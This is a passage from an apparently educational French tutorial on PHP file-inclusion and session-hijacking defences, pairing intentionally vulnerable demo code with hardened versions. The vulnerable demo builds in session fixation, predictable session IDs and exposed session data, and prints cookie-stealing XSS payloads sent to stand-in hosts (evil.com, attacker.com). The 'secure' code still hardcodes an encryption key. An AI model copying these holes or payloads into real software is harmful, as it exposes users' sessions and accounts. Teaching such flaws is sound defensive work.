            error_log("Erreur inclusion: " . $e->getMessage());
            throw new Exception("Erreur chargement template");
        }
    }

    /**
     * Lecture sécurisée de documents
     */
    public function readPublicDocument($docName) {
        try {
            // Validation stricte du nom
            if (!preg_match('/^[a-zA-Z0-9_.-]+$/', $docName)) {
                throw new InvalidArgumentException("Nom de document invalide");
            }

            $fullPath = $this->allowedDirectories['public_docs'] . $docName;

            $this->validateExtension($docName, 'public_docs');
            $realPath = $this->validatePath($fullPath, 'public_docs');

            if (!file_exists($realPath)) {
                throw new Exception("Document non trouvé");
            }

            // Vérification de la taille
            if (filesize($realPath) > $this->maxFileSize) {
                throw new Exception("Fichier trop volumineux");
            }

            $content = file_get_contents($realPath);

            // Sanitisation pour l'affichage
            return htmlspecialchars($content, ENT_QUOTES, 'UTF-8');

        } catch (Exception $e) {
            error_log("Erreur lecture: " . $e->getMessage());
            throw new Exception("Impossible de lire le document");
        }
    }

    /**
     * Upload sécurisé
     */
    public function uploadFile($file) {
        try {
            // Vérifications basiques
            if (!isset($file['error']) || is_array($file['error'])) {
                throw new Exception("Paramètres d'upload invalides");
            }

            // Vérification des erreurs
            switch ($file['error']) {
                case UPLOAD_ERR_OK:
                    break;
                case UPLOAD_ERR_NO_FILE:
                    throw new Exception("Aucun fichier envoyé");
                case UPLOAD_ERR_INI_SIZE:
                case UPLOAD_ERR_FORM_SIZE:
                    throw new Exception("Fichier trop volumineux");
                default:
                    throw new Exception("Erreur d'upload");
            }

            // Vérification de la taille
            if ($file['size'] > $this->maxFileSize) {
                throw new Exception("Fichier trop volumineux");
            }

            // Validation du nom
            $originalName = basename($file['name']);
            if (!preg_match('/^[a-zA-Z0-9_.-]+$/', $originalName)) {
                throw new Exception("Nom de fichier invalide");
            }

            // Vérification extension
            $this->validateExtension($originalName, 'uploads');

            // Validation du type MIME
            $allowedMimes = [
                'image/jpeg', 'image/png', 'image/gif',
                'application/pdf', 'text/plain'
            ];

            $finfo = new finfo(FILEINFO_MIME_TYPE);
            $mimeType = $finfo->file($file['tmp_name']);

            if (!in_array($mimeType, $allowedMimes)) {
                throw new Exception("Type de fichier non autorisé");
            }

            // Génération nom unique et sécurisé
            $extension = pathinfo($originalName, PATHINFO_EXTENSION);
            $safeName = bin2hex(random_bytes(16)) . '.' . $extension;
            $destination = $this->allowedDirectories['uploads'] . $safeName;

            // Déplacement sécurisé
            if (!move_uploaded_file($file['tmp_name'], $destination)) {
                throw new Exception("Impossible de sauvegarder");
            }

            // Permissions sécurisées
            chmod($destination, 0644);

            return [
                'original_name' => $originalName,
                'stored_name' => $safeName,
                'size' => $file['size'],
                'mime_type' => $mimeType
            ];

        } catch (Exception $e) {
            error_log("Erreur upload: " . $e->getMessage());
            throw new Exception("Erreur lors de l'upload");
        }
    }
}

// Initialisation
$fileManager = new SecureFileManager();
$message = '';
$content = '';
$error = '';

// Traitement sécurisé des requêtes
try {
    // Chargement sécurisé de template
    if (isset($_GET['template'])) {
        $templateName = filter_var($_GET['template'], FILTER_SANITIZE_STRING);

        if (!preg_match('/^[a-zA-Z0-9_-]+$/', $templateName)) {
            throw new InvalidArgumentException("Nom de template invalide");
        }

        ob_start();
        $fileManager->includeTemplate($templateName, ['title' => 'Page sécurisée']);
        $content = ob_get_clean();

        $message = "Template chargé: " . htmlspecialchars($templateName);
    }

    // Lecture sécurisée de document
    if (isset($_GET['doc'])) {
        $docName = filter_var($_GET['doc'], FILTER_SANITIZE_STRING);

        if (strlen($docName) > 50) {
            throw new InvalidArgumentException("Nom trop long");
        }

        $content = $fileManager->readPublicDocument($docName);
        $message = "Document lu: " . htmlspecialchars($docName);
    }

    // Upload sécurisé
    if (isset($_POST['upload']) && isset($_FILES['file'])) {
        $uploadResult = $fileManager->uploadFile($_FILES['file']);
        $message = "Fichier uploadé: " . htmlspecialchars($uploadResult['original_name']);
    }

} catch (Exception $e) {
    $error = $e->getMessage();
    error_log("Erreur sécurisée: " . $e->getMessage());
}

// Création de fichiers de test sécurisés
function createSecureTestFiles() {
    $dirs = [
        __DIR__ . '/templates/',
        __DIR__ . '/public_docs/'
    ];

    foreach ($dirs as $dir) {
        if (!is_dir($dir)) {
            mkdir($dir, 0755, true);
        }
    }

    // Templates sécurisés
    file_put_contents(__DIR__ . '/templates/home.php', '
        <h2><?= htmlspecialchars($title ?? "Accueil") ?></h2>
        <p>Template sécurisé chargé!</p>
    ');

    // Documents publics
    file_put_contents(__DIR__ . '/public_docs/readme.txt', 'Document public sécurisé.');
}

createSecureTestFiles();
?>

<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <title>Application Sécurisée - Protection File Inclusion</title>
    <meta http-equiv="Content-Security-Policy"
          content="default-src 'self'; style-src 'self' 'unsafe-inline';">
</head>
<body>
    <h1>🛡️ Application Sécurisée - Protection File Inclusion</h1>

    <div class="best-practice">
        <strong>✅ Protections implémentées :</strong><br>
        • Whitelist stricte des noms et extensions<br>
        • Validation avec realpath() et vérification répertoire<br>
        • Désactivation allow_url_include<br>
        • Upload sécurisé avec validation MIME<br>
        • Génération de noms de fichiers sécurisés<br>
        • Gestion d'erreurs sans exposition<br>
        • Content Security Policy (CSP)
    </div>

    <!-- Interface sécurisée -->
    <h3>📄 Templates Autorisés</h3>
    <p><a href="?template=home">Template Home</a></p>

    <h3>📖 Documents Publics</h3>
    <p><a href="?doc=readme.txt">Readme</a></p>

    <h3>📤 Upload Sécurisé</h3>
    <form method="POST" enctype="multipart/form-data">
        <input type="file" name="file" accept=".jpg,.png,.gif,.pdf,.txt">
        <button type="submit" name="upload">Upload</button>
    </form>

    <?php if ($message): ?>
        <div class="success">✅ <?= htmlspecialchars($message) ?></div>
    <?php endif; ?>

    <?php if ($error): ?>
        <div class="error">❌ <?= htmlspecialchars($error) ?></div>
    <?php endif; ?>

    <?php if ($content): ?>
        <div class="content"><?= $content ?></div>
    <?php endif; ?>
</body>
</html>

Session Hijacking - Détournement de Session

Techniques pour voler ou manipuler les sessions utilisateur afin d'usurper leur identité.

🔓 Types de détournement de session

Techniques principales :

Session Fixation

Forcer un ID de session prédéterminé

Session Stealing

Vol de cookies de session via XSS

Session Prediction

Prédiction d'IDs de session faibles

Man-in-the-Middle

Interception de sessions non chiffrées

Conséquences possibles :

  • Usurpation d'identité complète
  • Accès aux données personnelles
  • Actions au nom de l'utilisateur
  • Accès aux fonctions privilégiées
  • Persistance de l'accès
  • Escalade vers d'autres comptes

Code Vulnérable - Session Hijacking

php

<?php
/**
 * EXEMPLE VULNÉRABLE - Session Hijacking
 * Démonstration des failles de gestion de session à des fins éducatives
 */

// Configuration de session vulnérable
session_start();

$message = '';
$user_data = '';

// 1. SESSION FIXATION VULNÉRABLE
if (isset($_GET['PHPSESSID'])) {
    // VULNÉRABLE : Accepter un ID de session externe
    session_id($_GET['PHPSESSID']);
    session_start();
    $message = "Session fixée avec l'ID : " . htmlspecialchars($_GET['PHPSESSID']);
}

// 2. AUTHENTIFICATION SANS RÉGÉNÉRATION D'ID
if (isset($_POST['login'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    // Simulation d'authentification basique
    if ($username === 'admin' && $password === 'admin123') {
        // VULNÉRABLE : Pas de régénération d'ID de session
        $_SESSION['logged_in'] = true;
        $_SESSION['username'] = $username;
        $_SESSION['role'] = 'admin';
        $_SESSION['login_time'] = time();

        $message = "Connexion réussie ! Session ID: " . session_id();
    } else {
        $message = "Identifiants incorrects";
    }
}

// 3. EXPOSITION D'INFORMATIONS DE SESSION
if (isset($_GET['debug_session'])) {
    // VULNÉRABLE : Exposition des données de session
    $user_data = "<h3>Données de session :</h3>";
    $user_data .= "<pre>" . print_r($_SESSION, true) . "</pre>";
    $user_data .= "<p><strong>Session ID :</strong> " . session_id() . "</p>";
    $user_data .= "<p><strong>Session Name :</strong> " . session_name() . "</p>";
    $user_data .= "<p><strong>Cookie Params :</strong> " . print_r(session_get_cookie_params(), true) . "</p>";
}

// 4. SESSION PRÉDICTIBLE
if (isset($_GET['generate_weak_session'])) {
    // VULNÉRABLE : Génération d'ID de session faible
    $weak_id = md5(time() . 'secret');
    session_id($weak_id);
    session_start();
    $message = "Session générée avec ID prédictible : " . $weak_id;
}

// 5. STOCKAGE NON SÉCURISÉ D'INFORMATIONS SENSIBLES
if (isset($_POST['save_card'])) {
    // VULNÉRABLE : Stockage d'informations sensibles en session
    $_SESSION['credit_card'] = $_POST['credit_card'];
    $_SESSION['cvv'] = $_POST['cvv'];
    $_SESSION['expiry'] = $_POST['expiry'];
    $message = "Informations de carte sauvegardées en session !";
}

// 6. PAS DE VALIDATION DE L'ORIGINE DE SESSION
if (isset($_SESSION['logged_in'])) {
    // VULNÉRABLE : Pas de vérification IP/User-Agent
    $current_user = $_SESSION['username'] ?? 'Inconnu';
}

// 7. TIMEOUT DE SESSION INEXISTANT
if (isset($_SESSION['login_time'])) {
    // VULNÉRABLE : Session ne expire jamais
    $session_duration = time() - $_SESSION['login_time'];
    $user_data .= "<p>Durée de session : " . $session_duration . " secondes</p>";
}

// 8. GESTION VULNÉRABLE DU LOGOUT
if (isset($_GET['logout'])) {
    // VULNÉRABLE : Suppression partielle des données
    unset($_SESSION['logged_in']);
    // Oubli de détruire complètement la session
    $message = "Déconnexion partielle effectuée";
}

// 9. RÉGÉNÉRATION D'ID INSUFFISANTE
if (isset($_POST['change_password'])) {
    $new_password = $_POST['new_password'];

    // Simulation de changement de mot de passe
    if (isset($_SESSION['logged_in'])) {
        // VULNÉRABLE : Pas de régénération après action sensible
        $_SESSION['password_changed'] = time();
        $message = "Mot de passe changé sans régénération de session";
    }
}

// 10. COOKIE DE SESSION NON SÉCURISÉ
// VULNÉRABLE : Configuration par défaut non sécurisée
// Pas de flags HttpOnly, Secure, SameSite

// Fonction pour afficher les infos de session (vulnérable)
function displaySessionInfo() {
    return [
        'session_id' => session_id(),
        'session_name' => session_name(),
        'cookie_params' => session_get_cookie_params(),
        'session_data' => $_SESSION
    ];
}

// 11. PARTAGE DE SESSION ENTRE SOUS-DOMAINES
if (isset($_GET['cross_domain'])) {
    // VULNÉRABLE : Cookie de session trop permissif
    session_set_cookie_params(0, '/', '.example.com');
    session_start();
    $message = "Session partagée entre tous les sous-domaines";
}

// 12. STOCKAGE EN BASE DE DONNÉES NON SÉCURISÉ
if (isset($_POST['store_session_db'])) {
    // VULNÉRABLE : Stockage session en DB sans chiffrement
    $pdo = new PDO('mysql:host=localhost;dbname=test', 'user', 'pass');
    $stmt = $pdo->prepare("INSERT INTO sessions (session_id, user_data) VALUES (?, ?)");
    $stmt->execute([session_id(), serialize($_SESSION)]);
    $message = "Session stockée en base de données (non chiffrée)";
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>🔓 Session Hijacking Demo</title>
    <style>
        body { font-family: Arial; margin: 40px; background: #f5f5f5; }
        .container { background: white; padding: 30px; border-radius: 10px; max-width: 1200px; margin: 0 auto; }
        .danger { background: #ffebee; border: 2px solid red; padding: 15px; margin: 10px 0; }
        .success { background: #e8f5e9; border: 2px solid green; padding: 15px; margin: 10px 0; }
        .test-section { background: #f8f8f8; padding: 15px; margin: 15px 0; border-left: 4px solid purple; }
        .payload { background: #f3e5f5; padding: 15px; margin: 10px 0; font-family: monospace; font-size: 12px; }
        .session-info { background: #e8eaf6; padding: 15px; margin: 10px 0; border-radius: 5px; }
        input, textarea { padding: 10px; margin: 5px; width: 250px; }
        button { padding: 10px 20px; background: #9c27b0; color: white; border: none; cursor: pointer; }
    </style>
</head>
<body>

<div class="container">
    <h1>🔓 Session Hijacking Vulnerabilities Demo</h1>

    <div class="danger">
        ⚠️ <strong>ATTENTION :</strong> Cette page contient des vulnérabilités de session critiques !<br>
        Le détournement de session peut permettre l'usurpation complète d'identité !
    </div>

    <?php if ($message): ?>
        <div class="success">✅ <?= htmlspecialchars($message) ?></div>
    <?php endif; ?>

    <!-- Informations de session actuelles -->
    <div class="session-info">
        <h3>📊 Informations de session actuelles :</h3>
        <p><strong>Session ID :</strong> <?= session_id() ?></p>
        <p><strong>Utilisateur connecté :</strong> <?= isset($_SESSION['logged_in']) ? htmlspecialchars($_SESSION['username'] ?? 'Oui') : 'Non' ?></p>
        <p><strong>Cookie HttpOnly :</strong> <?= ini_get('session.cookie_httponly') ? 'Oui' : 'Non' ?></p>
        <p><strong>Cookie Secure :</strong> <?= ini_get('session.cookie_secure') ? 'Oui' : 'Non' ?></p>
    </div>

    <!-- Test Session Fixation -->
    <div class="test-section">
        <h3>1. Session Fixation</h3>
        <p>
            <a href="?PHPSESSID=HACKER_CONTROLLED_SESSION_ID">Fixer un ID de session</a> |
            <a href="?PHPSESSID=12345678901234567890123456">ID prédictible</a>
        </p>

        <div class="payload">
            <strong>Attaque Session Fixation :</strong><br>
            1. Attaquant génère un ID de session : ?PHPSESSID=evil_session<br>
            2. Victime clique sur le lien malveillant<br>
            3. Victime se connecte avec cet ID fixé<br>
            4. Attaquant utilise le même ID pour accéder au compte
        </div>
    </div>

    <!-- Test Authentification vulnérable -->
    <div class="test-section">
        <h3>2. Authentification sans régénération d'ID</h3>
        <form method="POST">
            <input type="text" name="username" placeholder="admin" required><br>
            <input type="password" name="password" placeholder="admin123" required><br>
            <button type="submit" name="login">Se connecter</button>
        </form>

        <div class="payload">
            <strong>Problème :</strong> L'ID de session ne change pas après connexion<br>
            <strong>Exploitation :</strong> Si l'ID était fixé avant, l'attaquant garde l'accès
        </div>
    </div>

    <!-- Test exposition de session -->
    <div class="test-section">
        <h3>3. Exposition d'informations de session</h3>
        <p><a href="?debug_session=1">Voir toutes les données de session</a></p>

        <?php if ($user_data): ?>
            <div style="background: #ffebee; padding: 15px; margin: 10px 0;">
                <?= $user_data ?>
            </div>
        <?php endif; ?>

        <div class="payload">
            <strong>Danger :</strong> Exposition complète des données de session<br>
            <strong>Informations révélées :</strong> ID, données utilisateur, configuration
        </div>
    </div>

    <!-- Test ID prédictible -->
    <div class="test-section">
        <h3>4. Génération d'ID de session prédictible</h3>
        <p><a href="?generate_weak_session=1">Générer une session avec ID faible</a></p>

        <div class="payload">
            <strong>Algorithme faible :</strong> md5(time() + secret)<br>
            <strong>Prédiction :</strong> Attaquant peut deviner les IDs d'autres utilisateurs<br>
            <strong>Tools :</strong> Burp Sequencer, Custom scripts
        </div>
    </div>

    <!-- Test stockage d'infos sensibles -->
    <div class="test-section">
        <h3>5. Stockage d'informations sensibles en session</h3>
        <form method="POST">
            <input type="text" name="credit_card" placeholder="Numéro de carte" required><br>
            <input type="text" name="cvv" placeholder="CVV" required><br>
            <input type="text" name="expiry" placeholder="MM/YY" required><br>
            <button type="submit" name="save_card">Sauvegarder</button>
        </form>

        <div class="payload">
            <strong>Danger :</strong> Informations financières en session non chiffrée<br>
            <strong>Risques :</strong> Vol via XSS, accès serveur, logs
        </div>
    </div>

    <!-- Test logout vulnérable -->
    <div class="test-section">
        <h3>6. Déconnexion incomplète</h3>
        <p><a href="?logout=1">Se déconnecter (vulnérable)</a></p>

        <div class="payload">
            <strong>Problème :</strong> Session pas complètement détruite<br>
            <strong>Exploitation :</strong> Réutilisation possible de l'ID de session
        </div>
    </div>

    <!-- Test changement mot de passe -->
    <div class="test-section">
        <h3>7. Actions sensibles sans régénération</h3>
        <form method="POST">
            <input type="password" name="new_password" placeholder="Nouveau mot de passe" required><br>
            <button type="submit" name="change_password">Changer mot de passe</button>
        </form>

        <div class="payload">
            <strong>Problème :</strong> ID de session inchangé après action critique<br>
            <strong>Risque :</strong> Attaquant garde accès même après changement de MDP
        </div>
    </div>

    <!-- JavaScript pour vol de session -->
    <div class="test-section">
        <h3>8. Vol de session via JavaScript</h3>
        <button onclick="stealSession()">Voler la session (simulation)</button>

        <script>
        function stealSession() {
            // Simulation de vol de cookie de session
            var sessionId = '<?= session_id() ?>';
            var sessionData = 'PHPSESSID=' + sessionId;

            alert('Session volée !\\nID: ' + sessionId + '\\nL\\'attaquant peut maintenant usurper votre identité.');

            // Dans une vraie attaque :
            // fetch('http://attacker.com/steal.php?session=' + sessionData);
        }
        </script>

        <div class="payload">
            <strong>Vecteur XSS :</strong> document.cookie accessible par JavaScript<br>
            <strong>Payload :</strong> fetch('http://evil.com/steal?c=' + document.cookie)<br>
            <strong>Protection manquante :</strong> HttpOnly flag
        </div>
    </div>

    <div style="background: #b71c1c; color: white; padding: 20px; margin-top: 30px;">
        <h3>💀 DANGERS DU SESSION HIJACKING</h3>
        <p>Le détournement de session permet :</p>
        <ul>
            <li>✗ <strong>Usurpation d'identité complète</strong> : Accès total au compte</li>
            <li>✗ <strong>Persistance</strong> : Accès maintenu même après changement de MDP</li>
            <li>✗ <strong>Actions malveillantes</strong> : Achats, virements, modifications</li>
            <li>✗ <strong>Vol de données</strong> : Informations personnelles et financières</li>
            <li>✗ <strong>Escalade</strong> : Propagation vers d'autres services</li>
            <li>✗ <strong>Anonymat</strong> : Actions tracées vers la victime</li>
        </ul>
        <p><strong>SOLUTION :</strong> Sessions sécurisées avec régénération d'ID !</p>
    </div>
</div>

</body>
</html>

Code Sécurisé - Protection Session Hijacking

php

<?php
/**
 * VERSION SÉCURISÉE - Protection contre Session Hijacking
 * Démonstration des bonnes pratiques de sécurité des sessions
 */

class SecureSessionManager {
    private $sessionTimeout = 1800; // 30 minutes
    private $maxLoginAttempts = 5;
    private $lockoutTime = 900; // 15 minutes
    private $strongSessionName = 'SECURE_APP_SESSION';

    public function __construct() {
        $this->configureSecureSession();
    }

    /**
     * Configuration sécurisée des sessions
     */
    private function configureSecureSession() {
        // Configuration avant session_start()

        // 1. Nom de session personnalisé (pas PHPSESSID par défaut)
        session_name($this->strongSessionName);

        // 2. Configuration des cookies sécurisés
        session_set_cookie_params([
            'lifetime' => 0, // Session cookie (expire à la fermeture)
            'path' => '/',
            'domain' => '', // Domaine actuel uniquement
            'secure' => isset($_SERVER['HTTPS']), // HTTPS uniquement si disponible
            'httponly' => true, // Pas d'accès JavaScript
            'samesite' => 'Strict' // Protection CSRF
        ]);

        // 3. Configuration INI sécurisée
        ini_set('session.cookie_httponly', '1');
        ini_set('session.cookie_secure', isset($_SERVER['HTTPS']) ? '1' : '0');
        ini_set('session.use_only_cookies', '1');
        ini_set('session.use_strict_mode', '1');
        ini_set('session.cookie_samesite', 'Strict');

        // 4. Stockage sécurisé des sessions
        ini_set('session.save_path', '/tmp/secure_sessions');
        ini_set('session.gc_maxlifetime', $this->sessionTimeout);

        // 5. Prévention des attaques de prédiction
        ini_set('session.entropy_length', '32');
        ini_set('session.hash_function', 'sha256');

        // Créer le répertoire de stockage sécurisé
        $sessionPath = '/tmp/secure_sessions';
        if (!is_dir($sessionPath)) {
            mkdir($sessionPath, 0700, true);
        }
    }

    /**
     * Démarrage sécurisé de session
     */
    public function startSecureSession() {
        // Démarrage de session
        if (session_status() !== PHP_SESSION_ACTIVE) {
            session_start();
        }

        // Vérifications de sécurité
        if (!$this->validateSession()) {
            $this->destroySession();
            session_start(); // Nouvelle session propre
            $this->initializeSessionSecurity();
        } else {
            $this->updateSessionActivity();
        }

        // Régénération périodique de l'ID
        $this->handleSessionRegeneration();
    }

    /**
     * Validation de la session existante
     */
    private function validateSession() {
        // 1. Vérification du timeout
        if (!$this->checkSessionTimeout()) {
            return false;
        }

        // 2. Vérification de l'empreinte du navigateur
        if (!$this->validateBrowserFingerprint()) {
            return false;
        }

        // 3. Vérification de l'IP (optionnel, peut poser problème avec proxies)
        if (!$this->validateClientIP()) {
            error_log("Session: Changement d'IP détecté pour session " . session_id());
            // return false; // Décommentez si validation IP stricte nécessaire
        }

        return true;
    }

    /**
     * Vérification du timeout de session
     */
    private function checkSessionTimeout() {
        if (!isset($_SESSION['last_activity'])) {
            return false;
        }

        $inactiveTime = time() - $_SESSION['last_activity'];

        if ($inactiveTime > $this->sessionTimeout) {
            error_log("Session expirée après {$inactiveTime} secondes d'inactivité");
            return false;
        }

        return true;
    }

    /**
     * Validation de l'empreinte du navigateur
     */
    private function validateBrowserFingerprint() {
        $currentFingerprint = $this->generateBrowserFingerprint();

        if (!isset($_SESSION['browser_fingerprint'])) {
            $_SESSION['browser_fingerprint'] = $currentFingerprint;
            return true;
        }

        if ($_SESSION['browser_fingerprint'] !== $currentFingerprint) {
            error_log("Session: Empreinte navigateur modifiée");
            return false;
        }

        return true;
    }

    /**
     * Génération d'empreinte navigateur
     */
    private function generateBrowserFingerprint() {
        $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
        $acceptLanguage = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '';
        $acceptEncoding = $_SERVER['HTTP_ACCEPT_ENCODING'] ?? '';

        return hash('sha256', $userAgent . $acceptLanguage . $acceptEncoding);
    }

    /**
     * Validation de l'IP client
     */
    private function validateClientIP() {
        $currentIP = $this->getClientIP();

        if (!isset($_SESSION['client_ip'])) {
            $_SESSION['client_ip'] = $currentIP;
            return true;
        }

        // Tolérance pour les changements d'IP dans le même sous-réseau
        if ($this->isIPInSameSubnet($_SESSION['client_ip'], $currentIP)) {
            return true;
        }

        return $_SESSION['client_ip'] === $currentIP;
    }

    /**
     * Obtention de l'IP client réelle
     */
    private function getClientIP() {
        $headers = [
            'HTTP_CF_CONNECTING_IP',     // Cloudflare
            'HTTP_X_FORWARDED_FOR',      // Proxy/Load Balancer
            'HTTP_X_REAL_IP',            // Nginx
            'REMOTE_ADDR'                // Standard
        ];

        foreach ($headers as $header) {
            if (!empty($_SERVER[$header])) {
                $ip = trim(explode(',', $_SERVER[$header])[0]);
                if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) {
                    return $ip;
                }
            }
        }

        return $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
    }

    /**
     * Vérification si deux IPs sont dans le même sous-réseau
     */
    private function isIPInSameSubnet($ip1, $ip2, $subnet = 24) {
        if (filter_var($ip1, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) &&
            filter_var($ip2, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {

            $mask = ~((1 << (32 - $subnet)) - 1);
            return (ip2long($ip1) & $mask) === (ip2long($ip2) & $mask);
        }

        return false;
    }

    /**
     * Initialisation de la sécurité de session
     */
    private function initializeSessionSecurity() {
        $_SESSION['created_at'] = time();
        $_SESSION['last_activity'] = time();
        $_SESSION['browser_fingerprint'] = $this->generateBrowserFingerprint();
        $_SESSION['client_ip'] = $this->getClientIP();
        $_SESSION['regeneration_count'] = 0;
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }

    /**
     * Mise à jour de l'activité de session
     */
    private function updateSessionActivity() {
        $_SESSION['last_activity'] = time();
    }

    /**
     * Gestion de la régénération d'ID
     */
    private function handleSessionRegeneration() {
        $regenerationInterval = 300; // 5 minutes

        if (!isset($_SESSION['last_regeneration'])) {
            $_SESSION['last_regeneration'] = time();
            return;
        }

        $timeSinceRegeneration = time() - $_SESSION['last_regeneration'];

        if ($timeSinceRegeneration > $regenerationInterval) {
            $this->regenerateSessionId();
        }
    }

    /**
     * Régénération sécurisée de l'ID de session
     */
    public function regenerateSessionId() {
        $oldSessionData = $_SESSION;

        // Régénération avec suppression de l'ancien fichier
        session_regenerate_id(true);

        // Restauration des données et mise à jour
        $_SESSION = $oldSessionData;
        $_SESSION['last_regeneration'] = time();
        $_SESSION['regeneration_count'] = ($_SESSION['regeneration_count'] ?? 0) + 1;

        error_log("Session ID régénéré. Nouveau ID: " . session_id());
    }

    /**
     * Authentification sécurisée
     */
    public function secureLogin($username, $password) {
        try {
            // Vérification rate limiting
            if (!$this->checkRateLimit($username)) {
                throw new Exception("Trop de tentatives. Réessayez plus tard.");
            }

            // Validation des identifiants (exemple simplifié)
            if (!$this->validateCredentials($username, $password)) {
                $this->logFailedAttempt($username);
                throw new Exception("Identifiants incorrects");
            }

            // CRITIQUE : Régénération OBLIGATOIRE après authentification
            $this->regenerateSessionId();

            // Stockage sécurisé des informations utilisateur
            $_SESSION['user_id'] = $this->getUserId($username);
            $_SESSION['username'] = $username;
            $_SESSION['role'] = $this->getUserRole($username);
            $_SESSION['authenticated_at'] = time();
            $_SESSION['csrf_token'] = bin2hex(random_bytes(32));

            // Nettoyage des tentatives échouées
            $this->clearFailedAttempts($username);

            // Log de sécurité
            error_log("Connexion réussie pour: $username depuis " . $this->getClientIP());

            return true;

        } catch (Exception $e) {
            error_log("Tentative de connexion échouée: " . $e->getMessage());
            throw $e;
        }
    }

    /**
     * Déconnexion sécurisée complète
     */
    public function secureLogout() {
        $username = $_SESSION['username'] ?? 'Inconnu';

        // Log de la déconnexion
        error_log("Déconnexion de: $username");

        // Destruction complète des données de session
        $_SESSION = [];

        // Suppression du cookie de session
        if (isset($_COOKIE[session_name()])) {
            setcookie(
                session_name(),
                '',
                time() - 3600,
                '/',
                '',
                isset($_SERVER['HTTPS']),
                true
            );
        }

        // Destruction de la session
        session_destroy();

        return true;
    }

    /**
     * Stockage sécurisé d'informations sensibles
     */
    public function storeSecureData($key, $data) {
        // Chiffrement des données sensibles avant stockage
        $encryptedData = $this->encryptData(json_encode($data));
        $_SESSION['encrypted_data'][$key] = $encryptedData;
    }

    /**
     * Récupération de données sécurisées
     */
    public function getSecureData($key) {
        if (!isset($_SESSION['encrypted_data'][$key])) {
            return null;
        }

        $decryptedData = $this->decryptData($_SESSION['encrypted_data'][$key]);
        return json_decode($decryptedData, true);
    }

    /**
     * Chiffrement simple des données (exemple avec OpenSSL)
     */
    private function encryptData($data) {
        $key = hash('sha256', 'your-secret-key-here');
        $iv = openssl_random_pseudo_bytes(16);
        $encrypted = openssl_encrypt($data, 'AES-256-CBC', $key, 0, $iv);
        return base64_encode($iv . $encrypted);
    }

    /**
     * Déchiffrement des données
     */
    private function decryptData($encryptedData) {
        $key = hash('sha256', 'your-secret-key-here');
        $data = base64_decode($encryptedData);
        $iv = substr($data, 0, 16);
        $encrypted = substr($data, 16);
        return openssl_decrypt($encrypted, 'AES-256-CBC', $key, 0, $iv);
    }

    /**
     * Génération de token CSRF
     */
    public function generateCSRFToken() {
        if (!isset($_SESSION['csrf_token'])) {
            $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
        }
        return $_SESSION['csrf_token'];
    }

    /**
     * Validation du token CSRF
     */
    public function validateCSRFToken($token) {
        if (!isset($_SESSION['csrf_token'])) {
            return false;
        }
        return hash_equals($_SESSION['csrf_token'], $token);
    }

    // Méthodes utilitaires (implémentation simplifiée)
    private function checkRateLimit($username) { return true; }
    private function validateCredentials($username, $password) { return $username === 'admin' && $password === 'admin123'; }
    private function getUserId($username) { return 1; }
    private function getUserRole($username) { return 'user'; }
    private function logFailedAttempt($username) { error_log("Tentative échouée: $username"); }
    private function clearFailedAttempts($username) { /* Implementation */ }
}

// Utilisation du gestionnaire de session sécurisé
$sessionManager = new SecureSessionManager();
$sessionManager->startSecureSession();

$message = '';
$error = '';

// Traitement sécurisé de l'authentification
if (isset($_POST['secure_login'])) {
    try {
        // Validation CSRF
        if (!$sessionManager->validateCSRFToken($_POST['csrf_token'] ?? '')) {
            throw new Exception("Token CSRF invalide");
        }

        $username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);
        $password = $_POST['password'] ?? '';

        if ($sessionManager->secureLogin($username, $password)) {
            $message = "Connexion sécurisée réussie !";
        }

    } catch (Exception $e) {
        $error = $e->getMessage();
    }
}

// Traitement de la déconnexion sécurisée
if (isset($_POST['secure_logout'])) {
    try {
        if (!$sessionManager->validateCSRFToken($_POST['csrf_token'] ?? '')) {
            throw new Exception("Token CSRF invalide");
        }

        $sessionManager->secureLogout();
        $message = "Déconnexion sécurisée effectuée";

    } catch (Exception $e) {
        $error = $e->getMessage();
    }
}

// Stockage sécurisé de données sensibles
if (isset($_POST['store_sensitive'])) {
    try {
        if (!$sessionManager->validateCSRFToken($_POST['csrf_token'] ?? '')) {
            throw new Exception("Token CSRF invalide");
        }

        $sensitiveData = [
            'card_number' => $_POST['card_number'] ?? '',
            'stored_at' => date('Y-m-d H:i:s')
        ];

        $sessionManager->storeSecureData('payment_info', $sensitiveData);
        $message = "Données sensibles chiffrées et stockées";

    } catch (Exception $e) {
        $error = $e->getMessage();
    }
}

// Récupération de données sécurisées
$secureData = $sessionManager->getSecureData('payment_info');
?>

<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Application Sécurisée - Protection Session</title>
    <meta http-equiv="Content-Security-Policy"
          content="default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline';">
</head>
<body>
    <h1>🛡️ Gestion Sécurisée des Sessions</h1>

    <div class="best-practice">
        <strong>✅ Protections implémentées :</strong><br>
        • Configuration sécurisée des cookies (HttpOnly, Secure, SameSite)<br>
        • Régénération automatique et forcée des IDs<br>
        • Validation d'empreinte navigateur<br>
        • Timeout et contrôle d'activité<br>
        • Chiffrement des données sensibles<br>
        • Protection CSRF intégrée<br>
        • Destruction complète lors du logout<br>
        • Rate limiting et logging de sécurité
    </div>

    <!-- Interface sécurisée -->
    <h3>🔐 Authentification Sécurisée</h3>
    <form method="POST">
        <input type="hidden" name="csrf_token" value="<?= $sessionManager->generateCSRFToken() ?>">
        <input type="text" name="username" placeholder="admin" required>
        <input type="password" name="password" placeholder="admin123" required>
        <button type="submit" name="secure_login">Connexion Sécurisée</button>
    </form>

    <?php if (isset($_SESSION['authenticated_at'])): ?>
        <h3>✅ Session Sécurisée Active</h3>
        <p>Utilisateur: <?= htmlspecialchars($_SESSION['username'] ?? '') ?></p>
        <p>Connecté depuis: <?= date('Y-m-d H:i:s', $_SESSION['authenticated_at']) ?></p>

        <form method="POST" style="display: inline;">
